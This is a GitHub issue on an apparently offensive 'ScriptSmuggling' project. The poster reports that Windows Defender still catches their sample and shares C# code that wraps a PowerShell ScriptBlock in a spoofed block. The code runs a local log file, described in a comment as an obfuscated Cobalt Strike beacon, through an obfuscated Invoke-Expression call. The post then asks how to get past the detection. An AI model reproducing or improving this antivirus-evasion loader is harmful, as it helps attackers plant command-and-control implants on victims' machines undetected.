Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Still be detected by wdfdr... #2

Open
NickYan7 opened this issue Jun 24, 2024 · 0 comments
Open

Still be detected by wdfdr... #2

NickYan7 opened this issue Jun 24, 2024 · 0 comments

Comments

@NickYan7
Copy link

A very nice anti-detection idea, however my sample still can be detected by Windows Defender, here is the demo code:

...
namespace ScriptSmuggling
{
    public class Program
    {
        public static void Main()
        {
            // the msedge_installer.log is an obfuscated cobaltstrike beacon file (.ps1). it can be execute by iex
            string script = @". ($pShOmE[4]+$PsHoMe[34]+'X') (cat C:\Windows\Temp\msedge_installer.log)";
            ScriptBlock sb = BuildSpoofedBlock(script);
            // Setup PowerShell runspace
            using (Runspace runSpace = RunspaceFactory.CreateRunspace())
            {
                runSpace.Open();
                using (PowerShell ps = PowerShell.Create())
                {
                    ps.Runspace = runSpace;




                    ps.AddCommand("Invoke-Command")
                      .AddParameter("ScriptBlock", sb);

                    Collection<PSObject> results = ps.Invoke();
                    foreach (PSObject result in results)
                    {
                        Console.WriteLine(result);
                    }

                    // Display any errors from the error stream
                    foreach (ErrorRecord error in ps.Streams.Error)
                    {
                        Console.WriteLine("ERROR: " + error);
                    }
                }
            }
        }



        public static ScriptBlock BuildSpoofedBlock(string content)
        {
            ...
        }
    }
}

Maybe the executableAst is still be check by wdfdr?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant